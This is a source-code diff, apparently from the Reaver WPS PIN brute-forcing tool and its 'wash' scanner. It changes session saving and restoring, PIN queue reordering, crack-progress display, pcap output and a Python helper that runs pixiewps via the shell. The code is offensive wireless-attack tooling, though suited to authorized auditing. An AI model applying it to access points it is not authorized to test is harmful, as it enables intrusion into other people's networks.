9496
95 if(stat(file, &wpstat) == 0)
96 {
97 /* If the user explicitly specified a session file, don't prompt them */
98 if(answer == 0)
97 if(stat(file, &wpstat) != 0) goto out;
98
99 /* If the user explicitly specified a session file, don't prompt them */
100 if(answer == 0)
101 {
102 bssid = mac2str(get_bssid(), ':');
103
104 /* Don't use cprintf here; else, if the output is sent to a file via -o, the user won't see this prompt. */
105 fprintf(stderr, "[?] Restore previous session for %s? [n/Y] ", bssid);
106 answer = getc(stdin);
107 free(bssid);
108 }
109
110 if(!(answer == 'y' || answer == 'Y' || answer == '\n'))
111 goto out;
112
113 if(!(fp = fopen(file, "r"))) {
114 perror("fopen");
115 goto out;
116 }
117 /* Get the key1 index value */
118 if(fgets(line, MAX_LINE_SIZE, fp) == NULL) goto fout;
119 set_p1_index(atoi(line));
120
121 /* Get the key2 index value */
122 if(fgets(line, MAX_LINE_SIZE, fp) == NULL) goto fout;
123 set_p2_index(atoi(line));
124
125 /* Get the key status value */
126 if(fgets(line, MAX_LINE_SIZE, fp) == NULL) goto fout;
127 set_key_status(atoi(line));
128
129 /* Read in all p1 values */
130 add = p1_tried = 0;
131 for(i=0; i<P1_SIZE; i++)
132 {
133 memset(temp, 0, P1_READ_LEN);
134
135 if(fgets(temp, P1_READ_LEN, fp) != NULL)
99136 {
100 bssid = mac2str(get_bssid(), ':');
101
102 /* Don't use cprintf here; else, if the output is sent to a file via -o, the user won't see this prompt. */
103 fprintf(stderr, "[?] Restore previous session for %s? [n/Y] ", bssid);
104 answer = getc(stdin);
105 free(bssid);
106 }
137 /* NULL out the new line character */
138 temp[P1_STR_LEN] = 0;
139 /* check has first half pin was specified and yet is KEY1_WIP */
140 if (get_static_p1() && get_key_status() < KEY2_WIP)
141 {
142 if (i < get_p1_index())
143 {
144 /* Check the first half has been already tried */
145 if (strcmp(get_static_p1(), temp) == 0)
146 {
147 p1_tried = 1;
148 }
149 }
150 else if (i == get_p1_index())
151 {
152 /* Check current index of first half is the specified pin
153 * Yes: do nothing
154 * No: insert into current index and set add to 1
155 */
156 if (!p1_tried && strcmp(get_static_p1(), temp) != 0)
157 {
158 set_p1(i, get_static_p1());
159 add = 1;
160 }
161 }
162 else
163 {
164 /* Check former index of first half
165 * Yes: set add to 0 and continue to next loop;
166 * No: do nothing
167 */
168 if (strcmp(get_static_p1(), temp) == 0)
169 {
170 add = 0;
171 continue;
172 }
173 }
174 }
175 set_p1(i+add, temp);
176 }
177 }
178
179 /* Read in all p2 values */
180 add = p2_tried = 0;
181 for(i=0; i<P2_SIZE; i++)
182 {
183 memset(temp, 0, P1_READ_LEN);
184
185 if(fgets(temp, P2_READ_LEN, fp) != NULL)
186 {
187 /* NULL out the new line character */
188 temp[P2_STR_LEN] = 0;
189 /* check has second half pin was specified and yet not KEY_DONE */
190 if (get_static_p2() && get_key_status() != KEY_DONE)
191 {
192 if (i < get_p2_index())
193 {
194 /* Check the second half has been already tried */
195 if (strcmp(get_static_p2(), temp) == 0)
196 {
197 p2_tried = 1;
198 }
199 }
200 else if (i == get_p2_index())
201 {
202 /* Check current index of second half is the specified pin
203 * Yes: do nothing
204 * No: insert into current index and set add to 1
205 */
206 if (!p2_tried && strcmp(get_static_p2(), temp) != 0)
207 {
208 set_p2(i, get_static_p2());
209 add = 1;
210 }
211 }
212 else
213 {
214 /* Check former index of second half
215 * Yes: set add to 0 and continue to next loop;
216 * No: do nothing
217 */
218 if (strcmp(get_static_p2(), temp) == 0)
219 {
220 add = 0;
221 continue;
222 }
223 }
224 }
225 set_p2(i+add, temp);
226 }
227 }
228
229 ret_val = 1;
230
231 /* Print warning message if the specified first or second half PIN was ignored */
232 if (get_static_p1())
233 {
234 /* Check the specified 4/8 digit WPS PIN has been already tried */
235 if (p1_tried || p2_tried)
236 {
237 ret_val = -1;
238 }
239 /* Print message what first half pin ignored if former key status >= KEY2_WIP */
240 if (get_key_status() >= KEY2_WIP && strcmp(get_static_p1(), get_p1(get_p1_index())) != 0)
241 {
242 cprintf(INFO, "[!] First half PIN ignored, it was cracked\n");
243 }
244 /* Print message what second half pin ignored if former key status == KEY_DONE */
245 if (get_key_status() == KEY_DONE && strcmp(get_static_p2(), get_p2(get_p2_index())) != 0)
246 {
247 cprintf(INFO, "[!] Second half PIN ignored, it was cracked\n");
248 }
249 }
107250
108 if(answer == 'y' || answer == 'Y' || answer == '\n')
109 {
110 if((fp = fopen(file, "r")))
111 {
112 /* Get the key1 index value */
113 if(fgets(line, MAX_LINE_SIZE, fp) != NULL)
114 {
115 set_p1_index(atoi(line));
116 memset(line, 0, MAX_LINE_SIZE);
117
118 /* Get the key2 index value */
119 if(fgets(line, MAX_LINE_SIZE, fp) != NULL)
120 {
121 set_p2_index(atoi(line));
122 memset(line, 0, MAX_LINE_SIZE);
123
124 /* Get the key status value */
125 if(fgets(line, MAX_LINE_SIZE, fp) != NULL)
126 {
127 set_key_status(atoi(line));
128
129 /* Read in all p1 values */
130 for(i=0; i<P1_SIZE; i++)
131 {
132 memset(temp, 0, P1_READ_LEN);
133
134 if(fgets(temp, P1_READ_LEN, fp) != NULL)
135 {
136 /* NULL out the new line character */
137 temp[P1_STR_LEN] = 0;
138 set_p1(i, temp);
139 }
140 }
141
142 /* Read in all p2 values */
143 for(i=0; i<P2_SIZE; i++)
144 {
145 memset(temp, 0, P1_READ_LEN);
146
147 if(fgets(temp, P2_READ_LEN, fp) != NULL)
148 {
149 /* NULL out the new line character */
150 temp[P2_STR_LEN] = 0;
151 set_p2(i, temp);
152 }
153 }
154
155 ret_val = 1;
156 }
157 }
158 }
159
160 fclose(fp);
161 }
162 else
163 {
164 perror("fopen");
165 }
166 }
167 }
168
251 fout:
252 fclose(fp);
253
254 out:
169255 if(!ret_val)
170256 {
171257 set_p1_index(0);
172258 set_p2_index(0);
173259 set_key_status(KEY1_WIP);
260 }
261 else if(ret_val == -1)
262 {
263 cprintf(CRITICAL, "[!] The PIN has already been tested\n");
174264 } else {
175265 cprintf(INFO, "[+] Restored previous session\n");
176266 }
180270
181271 int save_session()
182272 {
183 char *bssid = NULL;
184 char *wpa_key = NULL, *essid = NULL, *pretty_bssid = NULL;
185 char file_name[FILENAME_MAX] = { 0 };
186 char line[MAX_LINE_SIZE] = { 0 };
187 FILE *fp = NULL;
188 size_t write_size = 0;
189 int attempts = 0, ret_val = 0, i = 0;
190 struct wps_data *wps = NULL;
191 int pin_string;
192
193 wps = get_wps();
194 bssid = mac2str(get_bssid(), '\0');
195 pretty_bssid = mac2str(get_bssid(), ':');
196 pin_string = get_pin_string_mode();
197
198 if(wps)
199 {
200 wpa_key = wps->key;
201 essid = wps->essid;
202 }
203
204 if(!bssid || !pretty_bssid || pin_string)
205 {
206 if (pin_string)
207 {
208 cprintf(VERBOSE, "[*] String pin was specified, nothing to save.\n");
209 }
210 else
211 {
212 cprintf(CRITICAL, "[X] ERROR: Failed to save session data (memory error).\n");
213 }
273 if(get_pin_string_mode()) {
274 cprintf(VERBOSE, "[*] String pin was specified, nothing to save.\n");
275 return 0;
276 }
277
278 /* Don't bother saving anything if nothing has been done */
279 /* Save .wpc file if the first half of first pin is correct */
280 if(!((get_p1_index() > 0) || (get_p2_index() > 0) || (get_key_status() >= KEY2_WIP))) {
281 cprintf(VERBOSE, "[+] Nothing done, nothing to save.\n");
282 return 0;
283 }
284
285 /*
286 * If a session file was explicitly specified, use that; else, check for the
287 * default session file name for this BSSID.
288 */
289 char file_name[FILENAME_MAX];
290 if(get_session())
291 {
292 strcpy(file_name, get_session());
214293 }
215294 else
216295 {
217 /*
218 * If a session file was explicitly specified, use that; else, check for the
219 * default session file name for this BSSID.
220 */
221 if(get_session())
222 {
223 strcpy(file_name, get_session());
224 }
225 else
226 {
227 gen_sessionfile_name(bssid, file_name);
228 }
229
230 /* Don't bother saving anything if nothing has been done */
231 if((get_p1_index() > 0) || (get_p2_index() > 0))
232 {
233 if((fp = fopen(file_name, "w")))
234 {
235 snprintf(line, MAX_LINE_SIZE, "%d\n", get_p1_index());
236 write_size = strlen(line);
237
238 /* Save key1 index value */
239 if(fwrite(line, 1, write_size, fp) == write_size)
240 {
241 memset(line, 0, MAX_LINE_SIZE);
242 snprintf(line, MAX_LINE_SIZE, "%d\n", get_p2_index());
243 write_size = strlen(line);
244
245 /* Save key2 index value */
246 if(fwrite(line, 1, write_size, fp) == write_size)
247 {
248 memset(line, 0, MAX_LINE_SIZE);
249 snprintf(line, MAX_LINE_SIZE, "%d\n", get_key_status());
250 write_size = strlen(line);
251
252 /* Save key status value */
253 if(fwrite(line, 1, write_size, fp) == write_size)
254 {
255 /* Save all the p1 values */
256 for(i=0; i<P1_SIZE; i++)
257 {
258 fwrite(get_p1(i), 1, strlen(get_p1(i)), fp);
259 fwrite("\n", 1, 1, fp);
260 }
261
262 /* Save all the p2 values */
263 for(i=0; i<P2_SIZE; i++)
264 {
265 fwrite(get_p2(i), 1, strlen(get_p2(i)), fp);
266 fwrite("\n", 1, 1, fp);
267 }
268
269 /* If we have the WPA key, then we've exhausted all attempts, and the UI should reflect that */
270 if(wpa_key && strlen(wpa_key) > 0)
271 {
272 attempts = P1_SIZE + P2_SIZE;
273 }
274 else
275 {
276 if(get_key_status() == KEY1_WIP)
277 {
278 attempts = get_p1_index() + get_p2_index();
279 }
280 else if(get_key_status() == KEY2_WIP)
281 {
282 attempts = P1_SIZE + get_p2_index();
283 }
284 }
285
286 /* If we got an SSID from the WPS data, then use that; else, use whatever was used to associate with the AP */
287 if(!essid || strlen(essid) == 0)
288 {
289 essid = get_ssid();
290 }
291
292 ret_val = 1;
293 }
294 }
295 }
296
296 char bssid[6*3];
297 mac2str_buf(get_bssid(), '\0', bssid);
298 gen_sessionfile_name(bssid, file_name);
299 }
300
301 FILE *fp;
302
303 if(!(fp = fopen(file_name, "w"))) {
304 dprintf(2, "errror: fopen %s: %s\n", file_name, strerror(errno));
305 return 0;
306 }
307 /* Save key1 index value */
308 fprintf(fp, "%d\n", get_p1_index());
309
310 /* Save key2 index value */
311 fprintf(fp, "%d\n", get_p2_index());
312
313 /* Save key status value */
314 fprintf(fp, "%d\n", get_key_status());
315
316 int i;
317 /* Save all the p1 values */
318 for(i=0; i<P1_SIZE; i++) fprintf(fp, "%s\n", get_p1(i));
319
320 /* Save all the p2 values */
321 for(i=0; i<P2_SIZE; i++) fprintf(fp, "%s\n", get_p2(i));
322
323 fclose(fp);
324 return 1;
325 }
326
327 /**
328 * Return the percentage of crack progress
329 *
330 * @params unsigned char* mac The MAC address
331 *
332 * @return char* x.xx, xx.xx or xxx.x
333 */
334 char *get_crack_progress(unsigned char *mac)
335 {
336 struct stat wpstat = { 0 };
337 FILE *fp = NULL;
338 char file[FILENAME_MAX];
339 int p1_idx, p2_idx, num, attempts;
340 char *bssid = NULL, *crack_progress = NULL;
341 enum key_state key_status;
342
343 bssid = mac2str(mac, '\0');
344
345 if (bssid) {
346 gen_sessionfile_name(bssid, file);
347
348 if(stat(file, &wpstat) == 0) {
349 crack_progress = malloc(10);
350 if((fp = fopen(file, "r")) && crack_progress) {
351 crack_progress[0] = '\0';
352 fscanf(fp, "%d", &p1_idx);
353 fscanf(fp, "%d", &p2_idx);
354 fscanf(fp, "%d", &num);
355 key_status = num;
356
297357 fclose(fp);
298 }
299 }
300 else
301 {
302 cprintf(VERBOSE, "[+] Nothing done, nothing to save.\n");
303 }
304
305 free(bssid);
306 free(pretty_bssid);
358
359 if (key_status == KEY1_WIP) {
360 attempts = p1_idx;
361 sprintf(crack_progress, "%.2lf", (attempts*100.0)/(P1_SIZE + P2_SIZE));
362 } else if (key_status == KEY2_WIP) {
363 attempts = P1_SIZE + p2_idx;
364 sprintf(crack_progress, "%.2lf", (attempts*100.0)/(P1_SIZE + P2_SIZE));
365 } else {
366 sprintf(crack_progress, "%.1lf", 100.0);
367 }
368 } else {
369 if (crack_progress) {
370 free(crack_progress);
371 crack_progress = NULL;
372 }
373 }
374 }
375 }
376 if (bssid) free(bssid);
377
378 return crack_progress;
379 }
380
381
382 /**
383 * Insert the value to current p1 index (jump the queue)
384 * Return value:
385 * -2 = value tried because KEY2_WIP/KEY_DONE, array nothing done
386 * -1 = value tried, array nothing done
387 * 0 = value is the same as current index, nothing done
388 * 1 = array reorganized
389 *
390 * @params char* value The first half WPS pin
391 *
392 * @return int
393 */
394 int jump_p1_queue(char* value)
395 {
396 int i, index, v_index, found;
397 int ret_val = 0;
398 char *pch;
399
400 if (!value || strcmp(value, get_p1(get_p1_index())) == 0) {
401 return 0;
402 }
403
404 if(get_key_status() < KEY2_WIP) {
405 found = 0;
406 /* Get the p1 index */
407 index = get_p1_index();
408 /* Check the value was tried */
409 for(i=0; i < P1_SIZE && i < index; ++i) {
410 if (strcmp(get_p1(i), value) == 0) {
411 found = 1;
412 ret_val = -1;
413 break;
414 }
415 }
416 if (!found) {
417 /* Find the p1 index of the value */
418 for(i=index; i < P1_SIZE; ++i) {
419 if (strcmp(get_p1(i), value) == 0) {
420 found = 1;
421 v_index = i;
422 if (v_index != index) {
423 ret_val = 1;
424 }
425 break;
426 }
427 }
428 if (found) {
429 /* Reorganize p1 array */
430 pch = globule->p1[v_index];
431 for (i=v_index; i > index; --i) {
432 globule->p1[i] = globule->p1[i-1];
433 }
434 globule->p1[index] = pch;
435 }
436 }
437 }
438 else if (strcmp(value, get_p1(get_p1_index())) != 0) {
439 ret_val = -2;
307440 }
308441
309442 return ret_val;
310443 }
311444
445 /**
446 * Insert the value to current p2 index (jump the queue)
447 * Return value:
448 * -2 = value tried because KEY_DONE, array nothing done
449 * -1 = value tried, array nothing done
450 * 0 = value is the same as current index, nothing done
451 * 1 = array reorganized
452 *
453 * @params char* value The second half WPS pin
454 *
455 * @return int
456 */
457 int jump_p2_queue(char* value)
458 {
459 int i, index, v_index, found;
460 int ret_val = 0;
461 char *pch;
462
463 if (!value || strcmp(value, get_p2(get_p2_index())) == 0) {
464 return 0;
465 }
466
467 if(get_key_status() < KEY_DONE) {
468 found = 0;
469 /* Get the p2 index */
470 index = get_p2_index();
471 /* Check the value was tried */
472 for(i=0; i < P2_SIZE && i < index; ++i) {
473 if (strcmp(get_p2(i), value) == 0) {
474 found = 1;
475 ret_val = -1;
476 break;
477 }
478 }
479 if (!found) {
480 /* Find the p2 index of the value */
481 for(i=index; i < P2_SIZE; ++i) {
482 if (strcmp(get_p2(i), value) == 0) {
483 found = 1;
484 v_index = i;
485 if (v_index != index) {
486 ret_val = 1;
487 }
488 break;
489 }
490 }
491 if (found) {
492 /* Reorganize p2 array */
493 pch = globule->p2[v_index];
494 for (i=v_index; i > index; --i) {
495 globule->p2[i] = globule->p2[i-1];
496 }
497 globule->p2[index] = pch;
498 }
499 }
500 }
501 else if (strcmp(value, get_p2(get_p2_index())) != 0) {
502 ret_val = -2;
503 }
504
505 return ret_val;
506 }
5353
5454 int restore_session();
5555 int save_session();
56 char *get_crack_progress(unsigned char *mac);
57 int jump_p1_queue(char* value);
58 int jump_p2_queue(char* value);
5659
5760 #endif
207207 #endif /* __LITTLE_ENDIAN */
208208 #endif /* __BYTE_ORDER */
209209
210 #if __BYTE_ORDER == __LITTLE_ENDIAN
210 #include "endianness.h"
211
212 #if ENDIANNESS_LE+0 == 1
211213 #define le_to_host16(n) ((__force u16) (le16) (n))
212214 #define host_to_le16(n) ((__force le16) (u16) (n))
213215 #define be_to_host16(n) bswap_16((__force u16) (be16) (n))
220222 #define host_to_le64(n) ((__force le64) (u64) (n))
221223 #define be_to_host64(n) bswap_64((__force u64) (be64) (n))
222224 #define host_to_be64(n) ((__force be64) bswap_64((n)))
223 #elif __BYTE_ORDER == __BIG_ENDIAN
225 #elif ENDIANNESS_BE+0 == 1
224226 #define le_to_host16(n) bswap_16(n)
225227 #define host_to_le16(n) bswap_16(n)
226228 #define be_to_host16(n) (n)
423425 # endif
424426 #endif
425427
428 #ifndef LE16_DEFINED
429 #define LE16_DEFINED
426430 typedef u16 __bitwise be16;
427431 typedef u16 __bitwise le16;
428432 typedef u32 __bitwise be32;
429433 typedef u32 __bitwise le32;
434 #endif
430435 typedef u64 __bitwise be64;
431436 typedef u64 __bitwise le64;
432437
9797 *
9898 * Note: New line '\n' is added to the end of the text when printing to stdout.
9999 */
100 extern int cprintf_ismuted();
100101 void wpa_printf(int level, const char *fmt, ...)
101102 {
102103 va_list ap;
104105 //wpa_debug_level = MSG_MSGDUMP;
105106
106107 va_start(ap, fmt);
107 if (level >= wpa_debug_level) {
108 if (!cprintf_ismuted() && (level >= wpa_debug_level)) {
108109 #ifdef CONFIG_DEBUG_SYSLOG
109110 if (wpa_debug_syslog) {
110111 vsyslog(syslog_priority(level), fmt, ap);
442442 * Mac OS X 10.6 seems to be adding 0x00 padding to the
443443 * end of M1. Skip those to avoid interop issues.
444444 */
445 int i;
446 for (i = 0; i < end - pos; i++) {
445 uintptr_t i, left = end - pos;
446 for (i = 0; i < left; i++) {
447447 if (pos[i])
448448 break;
449449 }
450 if (i == end - pos) {
450 if (i == left) {
451451 wpa_printf(MSG_DEBUG, "WPS: Workaround - skip "
452452 "unexpected message padding");
453453 break;
179179 fprintf(stderr, "\t-w, --win7 Mimic a Windows 7 registrar [False]\n");
180180 fprintf(stderr, "\t-K, --pixie-dust Run pixiedust attack\n");
181181 fprintf(stderr, "\t-Z Run pixiedust attack\n");
182 fprintf(stderr, "\t-O, --output-file=<filename> Write packets of interest into pcap file\n");
182183
183184 fprintf(stderr, "\nExample:\n\t%s -i wlan0mon -b 00:90:4C:C1:AC:21 -vv\n\n", prog_name);
184185
3434 #include "utils/file.h"
3535 #include "utils/vendor.h"
3636 #include "send.h"
37 #include <fcntl.h>
3738
3839 #define MAX_APS 512
3940
4344 int show_all_aps = 0;
4445 int json_mode = 0;
4546 int show_utf8_ssid = 0;
47 int show_crack_progress = 0;
4648
4749 static struct mac {
4850 unsigned char mac[6];
103105 return 0;
104106 }
105107
108 static volatile int got_sigint;
109 static void sigint_handler(int x) {
110 (void) x;
111 got_sigint = 1;
112 pcap_breakloop(get_handle());
113 }
114
106115 int wash_main(int argc, char *argv[])
107116 {
108117 int c = 0;
111120 int source = INTERFACE, ret_val = EXIT_FAILURE;
112121 struct bpf_program bpf = { 0 };
113122 char *last_optarg = NULL, *target = NULL, *bssid = NULL;
114 char *short_options = "i:c:n:b:25sfuFDhajU";
123 char *short_options = "i:c:n:b:O:25sfuFDhajUp";
115124 struct option long_options[] = {
116125 { "bssid", required_argument, NULL, 'b' },
117126 { "interface", required_argument, NULL, 'i' },
118127 { "channel", required_argument, NULL, 'c' },
119128 { "probes", required_argument, NULL, 'n' },
129 { "output-file", required_argument, NULL, 'O'},
120130 { "file", no_argument, NULL, 'f' },
121131 { "ignore-fcs", no_argument, NULL, 'F' },
122132 { "2ghz", no_argument, NULL, '2' },
126136 { "all", no_argument, NULL, 'a' },
127137 { "json", no_argument, NULL, 'j' },
128138 { "utf8", no_argument, NULL, 'U' },
139 { "progress", no_argument, NULL, 'p' },
129140 { "help", no_argument, NULL, 'h' },
130141 { 0, 0, 0, 0 }
131142 };
159170 channel = atoi(optarg);
160171 set_fixed_channel(1);
161172 break;
173 case 'O':
174 {
175 int ofd = open(optarg, O_WRONLY|O_CREAT|O_TRUNC, 0660);
176 set_output_fd(ofd);
177 if(ofd == -1) perror("open outputfile failed: ");
178 }
179 break;
162180 case '5':
163181 set_wifi_band(get_wifi_band() | AN_BAND);
164182 break;
185203 break;
186204 case 'U':
187205 show_utf8_ssid = 1;
206 break;
207 case 'p':
208 show_crack_progress = 1;
188209 break;
189210 default:
190211 wash_usage(argv[0]);
262283 if(!get_handle())
263284 {
264285 cprintf(CRITICAL, "[X] ERROR: Failed to open '%s' for capturing\n", get_iface());
265 goto end;
266 }
267
268 if(pcap_compile(get_handle(), &bpf, PACKET_FILTER, 0, 0) != 0)
269 {
270 cprintf(CRITICAL, "[X] ERROR: Failed to compile packet filter\n");
271 cprintf(CRITICAL, "[X] PCAP: %s\n", pcap_geterr(get_handle()));
272 goto end;
273 }
274
275 if(pcap_setfilter(get_handle(), &bpf) != 0)
276 {
277 cprintf(CRITICAL, "[X] ERROR: Failed to set packet filter\n");
278286 goto end;
279287 }
280288
326334 startchan = 34;
327335 change_channel(startchan);
328336 }
337
338 memset(&act, 0, sizeof(struct sigaction));
339 sigaction (SIGINT, 0, &act);
340 act.sa_flags &= ~SA_RESTART;
341 act.sa_handler = sigint_handler;
342 sigaction (SIGINT, &act, 0);
343
329344 }
330345
331346 if(!header_printed)
332347 {
333348 if(!json_mode) {
334 fprintf (stdout, "BSSID Ch dBm WPS Lck Vendor ESSID\n");
349 if (show_crack_progress) {
350 fprintf (stdout, "BSSID Ch dBm WPS Lck Vendor Progr ESSID\n");
351 } else {
352 fprintf (stdout, "BSSID Ch dBm WPS Lck Vendor ESSID\n");
353 }
335354 //fprintf(stdout, "00:11:22:33:44:55 104 -77 1.0 Yes Bloatcom 0123456789abcdef0123456789abcdef\n");
336355 fprintf (stdout, "--------------------------------------------------------------------------------\n");
337356 }
338357 header_printed = 1;
339358 }
340359
341 while((packet = next_packet(&header)))
342 {
360 while(!got_sigint && (packet = next_packet(&header))) {
343361 parse_wps_settings(packet, &header, bssid, passive, mode, source);
344362 memset((void *) packet, 0, header.len);
345363 }
347365 return;
348366 }
349367
368 #define wps_active(W) (((W)->version) || ((W)->locked != 2) || ((W)->state))
369
370 #define BEACON_SIZE(rth_len) (rth_len + sizeof(struct dot11_frame_header) + sizeof(struct beacon_management_frame))
371 /* probe responses, just like beacons, start their management frame packet with the same
372 fixed parameters of size 12 */
373 #define PROBE_RESP_SIZE(rth_len) BEACON_SIZE(rth_len)
374
350375 void parse_wps_settings(const u_char *packet, struct pcap_pkthdr *header, char *target, int passive, int mode, int source)
351376 {
352 struct radio_tap_header *rt_header = NULL;
353 struct dot11_frame_header *frame_header = NULL;
354377 struct libwps_data *wps = NULL;
355378 enum encryption_type encryption = NONE;
356379 char *bssid = NULL, *ssid = NULL, *lock_display = NULL;
380 char *crack_progress = NULL;
357381 int wps_parsed = 0, probe_sent = 0, channel = 0, rssi = 0;
358382 static int channel_changed = 0;
359383
384 if(packet == NULL || header == NULL) goto end;
385
386 struct radio_tap_header *rt_header = (void *) radio_header(packet, header->len);
387 size_t rt_header_len = end_le16toh(rt_header->len);
388 if(header->len < rt_header_len + sizeof(struct dot11_frame_header)) goto end;
389
390 struct dot11_frame_header *frame_header = (void *) (packet + rt_header_len);
391
392 unsigned f_type = frame_header->fc & end_htole16(IEEE80211_FCTL_FTYPE);
393 unsigned fsub_type = frame_header->fc & end_htole16(IEEE80211_FCTL_STYPE);
394
395 int is_management_frame = f_type == end_htole16(IEEE80211_FTYPE_MGMT);
396 int is_beacon = is_management_frame && fsub_type == end_htole16(IEEE80211_STYPE_BEACON);
397 int is_probe_resp = is_management_frame && fsub_type == end_htole16(IEEE80211_STYPE_PROBE_RESP);
398
399 if(!(is_probe_resp || is_beacon)) goto end;
400
401 if(is_beacon && header->len < BEACON_SIZE(rt_header_len)) goto end;
402 if(is_probe_resp && header->len < PROBE_RESP_SIZE(rt_header_len)) goto end;
403
404 /* If a specific BSSID was specified, only parse packets from that BSSID */
405 if(memcmp(get_bssid(), NULL_MAC, MAC_ADDR_LEN) &&
406 !is_target(frame_header)) goto end;
407
360408 wps = malloc(sizeof(struct libwps_data));
361409 memset(wps, 0, sizeof(struct libwps_data));
362410
363 if(packet == NULL || header == NULL || header->len < MIN_BEACON_SIZE)
364 {
365 goto end;
366 }
367
368 rt_header = (struct radio_tap_header *) radio_header(packet, header->len);
369 size_t rt_header_len = end_le16toh(rt_header->len);
370 frame_header = (struct dot11_frame_header *) (packet + rt_header_len);
371
372 /* If a specific BSSID was specified, only parse packets from that BSSID */
373 if(!is_target(frame_header))
374 {
375 goto end;
376 }
377411
378412 set_ssid(NULL);
379413 bssid = (char *) mac2str(frame_header->addr3, ':');
386420 {
387421 channel = parse_beacon_tags(packet, header->len);
388422 if(channel == 0) {
389 // It seems 5 GHz APs do not set channel tags.
390 // FIXME: get channel by parsing radiotap header
391 channel = get_channel();
423 channel = freq_to_chan(rt_channel_freq(packet, header->len));
424 /* If we didn't get channel from tagged IEs nor radiotap, we take it from the current chan of the scan */
425 if(!channel) channel = get_channel();
392426 }
393427 rssi = signal_strength(packet, header->len);
394428 ssid = (char *) get_ssid();
399433 change_channel(channel);
400434 channel_changed = 1;
401435 }
402
403 unsigned fsub_type = frame_header->fc & end_htole16(IEEE80211_FCTL_STYPE);
404
405 int is_beacon = fsub_type == end_htole16(IEEE80211_STYPE_BEACON);
406 int is_probe_resp = fsub_type == end_htole16(IEEE80211_STYPE_PROBE_RESP);
407436
408437 if(is_probe_resp || is_beacon) {
409438 wps_parsed = parse_wps_parameters(packet, header->len, wps);
420449 probe_sent = 1;
421450 }
422451
423 if(!json_mode && (!was_printed(bssid) && (wps->version > 0 || show_all_aps == 1)))
452 if(!json_mode && (!was_printed(bssid) && (wps_active(wps) || show_all_aps == 1)))
424453 {
425 if(wps->version > 0) switch(wps->locked)
454 if(wps_active(wps)) switch(wps->locked)
426455 {
427456 case WPSLOCKED:
428457 lock_display = YES;
433462 break;
434463 } else lock_display = NO;
435464
465 if (show_crack_progress) {
466 crack_progress = get_crack_progress(frame_header->addr3);
467 }
468
436469 char* vendor = get_vendor_string(get_ap_vendor(bssid));
437470 char* sane_ssid = sanitize_string(ssid);
438471
439472 if(show_utf8_ssid && verifyssid(ssid))
440473 strcpy(sane_ssid,ssid);
441474
442 if(wps->version > 0)
443 fprintf(stdout, "%17s %3d %.2d %d.%d %3s %8s %s\n", bssid, channel, rssi, (wps->version >> 4), (wps->version & 0x0F), lock_display, vendor ? vendor : " ", sane_ssid);
475 if(wps_active(wps))
476 {
477 if (show_crack_progress)
478 fprintf(stdout, "%17s %3d %.2d %d.%d %3s %8s %5s %s\n", bssid, channel, rssi, (wps->version >> 4), (wps->version & 0x0F), lock_display, vendor ? vendor : " ", crack_progress ? crack_progress : "-", sane_ssid);
479 else
480 fprintf(stdout, "%17s %3d %.2d %d.%d %3s %8s %s\n", bssid, channel, rssi, (wps->version >> 4), (wps->version & 0x0F), lock_display, vendor ? vendor : " ", sane_ssid);
481 }
444482 else
445 fprintf(stdout, "%17s %3d %.2d %8s %s\n", bssid, channel, rssi, vendor ? vendor : " ", sane_ssid);
483 {
484 if (show_crack_progress)
485 fprintf(stdout, "%17s %3d %.2d %8s %5s %s\n", bssid, channel, rssi, vendor ? vendor : " ", crack_progress ? crack_progress : "-", sane_ssid);
486 else
487 fprintf(stdout, "%17s %3d %.2d %8s %s\n", bssid, channel, rssi, vendor ? vendor : " ", sane_ssid);
488 }
446489 free(sane_ssid);
490
491 if (crack_progress) free(crack_progress);
447492 }
448493
449494 if(probe_sent)
458503 if(!wps_parsed || is_probe_resp)
459504 {
460505 mark_ap_complete(bssid);
461 if(json_mode && (show_all_aps || wps->version > 0)) {
462 char *json_string = wps_data_to_json(bssid, ssid, channel, rssi, get_ap_vendor(bssid), wps);
506 if(json_mode && (show_all_aps || wps_active(wps))) {
507 if (show_crack_progress) {
508 crack_progress = get_crack_progress(frame_header->addr3);
509 }
510 char *json_string = wps_data_to_json(bssid, ssid, channel, rssi, get_ap_vendor(bssid), wps, crack_progress);
463511 fprintf(stdout, "%s\n", json_string);
464512 fflush(stdout);
465513 free(json_string);
514
515 if (crack_progress) free(crack_progress);
466516 }
467517 }
468518
518568 fprintf(stderr, "\nOptional Arguments:\n");
519569 fprintf(stderr, "\t-c, --channel=<num> Channel to listen on [auto]\n");
520570 fprintf(stderr, "\t-n, --probes=<num> Maximum number of probes to send to each AP in scan mode [%d]\n", DEFAULT_MAX_NUM_PROBES);
571 fprintf(stderr, "\t-O, --output-file=<filename> Write packets of interest into pcap file\n");
521572 fprintf(stderr, "\t-F, --ignore-fcs Ignore frame checksum errors\n");
522573 fprintf(stderr, "\t-2, --2ghz Use 2.4GHz 802.11 channels\n");
523574 fprintf(stderr, "\t-5, --5ghz Use 5GHz 802.11 channels\n");
526577 fprintf(stderr, "\t-a, --all Show all APs, even those without WPS\n");
527578 fprintf(stderr, "\t-j, --json print extended WPS info as json\n");
528579 fprintf(stderr, "\t-U, --utf8 Show UTF8 ESSID (does not sanitize ESSID, dangerous)\n");
580 fprintf(stderr, "\t-p, --progress Show percentage of crack progress\n");
529581 fprintf(stderr, "\t-h, --help Show help\n");
530582
531583 fprintf(stderr, "\nExample:\n");
4545 #include "iface.h"
4646 #include "80211.h"
4747 #include "builder.h"
48 #include "session.h"
4849
4950 #define INTERFACE 0
5051 #define PCAP_FILE 1
6364
6465 #define YES "Yes"
6566 #define NO "No "
66
67 #define FAKE_RADIO_TAP_HEADER "\x00\x00\x00\x00\x00\x00\x00\x00"
68 #define PACKET_FILTER "type mgt and (subtype beacon or subtype proberesp)"
6967
7068 enum tag_type
7169 {
0 #!/usr/bin/env python2
0 #!/usr/bin/env python
11
22 # this is a filter meant to be used with a logfile containing
33 # debug output from wpa_supplicant or reaver, which extracts
7979 if line == '': break
8080 process_wpa_supplicant_line(data, line.rstrip('\n'))
8181
82 print data
82 print(data)
8383
8484 if got_all_pixie_data(data):
8585 pixiecmd = get_pixie_cmd(data)
8686
87 print "running %s" % pixiecmd
87 print(("running %s" % pixiecmd))
8888 os.execlp('/bin/sh', '/bin/sh', '-c', pixiecmd)
8989